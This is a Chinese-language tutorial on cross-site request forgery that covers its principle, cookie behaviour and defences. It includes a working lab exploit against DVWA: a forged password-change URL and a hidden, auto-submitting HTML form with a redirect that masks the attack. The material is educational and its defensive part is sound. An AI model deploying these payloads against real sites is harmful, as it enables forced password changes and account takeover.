CSRF(1)-----定義,原理和防護-----from表單提交數據

一，定義和原理

CSRF（Cross Site Request Forgery, 跨站請求僞造）:

是一種挾制終端用戶在當前已登錄的Web應用程序上執行非本意的操作的攻擊方法

---

• 簡單概括：受害者一旦點擊了攻擊者構造的鏈接，就能迫使受害者的瀏覽器在已經登錄過的網站上去執行特定操作 。
  .
• 原理：攻擊者盜用了你的身份，以你的名義發送惡意請求，對服務器來說這個請求是完全合法的，但是卻完成了攻擊者所期望的一個操作。

(1)與XSS不同之處

• ①XSS利用站點內信任的用戶，而CSRF則通過僞裝成被信任的用戶。
• ②XSS容易被發現，攻擊者需要登錄完成攻擊。管理員可以看日誌發現攻擊者。而CSRF則不同，攻擊者只負責構造。

(2)CSRF實現的基礎前提

• ①目標用戶已經成功訪問登錄了網站，能夠執行網站的功能
• ②目標用戶訪問了攻擊者構造的URL
• ③受害者在同一瀏覽器下操作
• ④攻擊者熟悉傳入參數的意義

(3)?CSRF的危害

• 在受害者不知情的情況下，發郵件、發消息、甚至財產操作、修改密碼等操作。
• 後臺添加管理員、獲取webshell。
• 社交平臺惡意刷粉。 投票平臺惡意刷票。

(4)CSRF的利用條件

• ①在攻擊者可以得到url的所有參數並瞭解其含義
• ②參數可控。就可以根據url構造一個payload

(5)?爲什麼會有CSRF

• 簡單的身份驗證只能保證請求發自某個用戶的瀏覽器，卻不能保證請求本身是用戶自願發出的。
• 重要操作的所有參數都是可以被攻擊者猜測到的

(6)CSRF爲業務邏輯漏洞

csrf是業務邏輯漏洞（掃描工具不好掃出）【在服務來看，所有的請求合法】
xss，sql注入是技術漏洞（掃描工具可以掃出）

---

二，cookie與CSRF

攻擊者僞造的請求之所以能夠通過受害者被服務器驗證通過,是因爲受害者的瀏覽器成功發送了Cookie的緣故.

(1)瀏覽器所持有的cookie分爲兩種:

• ①Session Cookie（臨時Cookie）
• ②Thid- party Cookie（本地 Cookie）

(2)區別

• 本地Cookie是服務器在 Set-Cookie時指定了 Expire時間,只有到了Expire時間後cookie纔會失效;
• Session Cookie則沒有指定Expire時間,所以瀏覽器關閉後, Session Cookie就失效了.
• Session Cookie保存在瀏覽器的內存空間中，本地cookie則保存在客戶端本地

(3)與CSRF的關係

攻擊者在構造攻擊環境時，通常使用不同的標籤中構造的URL對受害者CSRF

對於部分版本的IE瀏覽器

• 默認禁止了瀏覽器在<img>、< iframe>、< script>、<ink>等標籤中發送第三方的本地 Cookie
• 攻擊者則需要先誘使受害者在當前瀏覽器中先訪問目標站點,使得 Session cookie有效,再實施CSRF攻擊

主流瀏覽器是否禁止上傳第三方本地cookie的分類

• 默認會攔截 本地Cookie的有:IE6、IE7、IE8、 Safari;
• 不會攔截的有: Firefox，Opera、 Chrome等.

但若CSRF攻擊的目標並不需要使用 Cookie,則也不必顧慮瀏覽器的 Cookie策略了.

三，漏洞利用

(1)通過GET請求方式發起

【源碼】

f( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ];

【構造URL】

 http://192.168.44.131/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=Chang

---

(2)只能由GET請求發起？

• 大多數CSRF攻擊發起時,使用的HTML標籤都是<img>、< iframe>、< script>等帶"src"屬性的標籤,這類標籤只能夠發起一次GET請求,而不能發起POST請求.
• 對於很多網站的應用來說,一些重要操作並未嚴格地區分GET與POST,攻擊者可以使用GET來請求表單的提交地址.比如在PHP中,如果使用的$_REQUEST,而非$_POST獲取變量,則會存在這個問題.
• 對與後端爲$_POST來獲取變量時，可以使用自動提交from表單的方法

---

(3)?在頁面構造表單，用JS自動提交

HTML 表單：表單用於蒐集不同類型的用戶輸入。w3的表單講解

• 可以用 burp suite 用直接生成代碼的工具，生成完之後還需修改請求方法爲POST，然後修改爲自動提交
• 設置爲自動提交表單
• 結合<meta>標籤跳轉頁面

【“payload”】

<iframe name="black" style="display:none;"></iframe>        ☞//使用iframe標籤，隱藏內容

<script language=javascript id="attack"> 
	setTimeout("document.hack.submit()",0)                      ☞//實現自動提交from表單，0代表0毫秒提交一次表單【不延遲發送】
</script>

<form action="http://192.168.44.131/dvwa/vulnerabilities/csrf/" method="post" name="hack"  target="black">
  <input type="hidden" name="password&#95;new" value="1" />
  <input type="hidden" name="password&#95;conf" value="1" />
  <input type="hidden" name="Change" value="Change" />
  <input type="submit"  value="submit" />
</form>

<meta http-equiv="refresh" content="1;url=https://www.baidu.com">      ☞//跳轉，做到隱蔽處理
                                   //這裏爲1，目的是先改密碼，再跳轉頁面

【作用】

• 可以應付後端$_POST接受數據的服務器

.
【如何實現】

• 結合XSS或者文件上傳

.
【效果】

• 受害者訪問直接跳轉到百度。但是已經完成攻擊者的目的。

---

四，防禦

(1)驗證碼

• CSRF攻擊的過程,往往是在用戶不知情的情況下構造了網絡請求.而驗證碼則強制用戶必須與應用進行交互,才能完成最終請求.因此在通常情況下,驗證碼能夠很好地遏制CSRF攻擊.

• 但網站不能給所有的操作都加上驗證碼.因此,驗證碼只能作爲防禦CSRF的一種輔助手段,而不能作爲最主要的解決方案

---

(2) Referer Check

檢測原理

• 通過檢測請求包中的refere內容，是否同源

.
缺點

• 服務器並非什麼時候都能取到Referer。
  eg：（用戶限制了 Referer的發送。或者在某些情況下,瀏覽器也不會發送 Referer比如從 Https跳轉到HTTP,出於安全的考慮,瀏覽器也不會發送 Referer。

.
總結

• 無法依賴於 Referer Check作爲防禦CSRF的主要手段.但是通過 Referer check來監控CSRF攻擊的發生,倒是一種可行的方法.

---

(3)Token檢測

檢測原理

• 用戶每次訪問改密頁面時，服務器會返回一個隨機的token，向服務器發起請求時，需要提交token參數，而服務器在收到請求時，會優先檢查token，只有token正確，纔會處理客戶端的請求。

.

使用時的注意點

• 保密性
• 隨機性

---

(4)增加舊數據認證

檢測原理

• 用戶再做出操作時，需要先輸入正確的原有數據，才能做出操作
  eg：（修改密碼，要先輸對正確的舊密碼）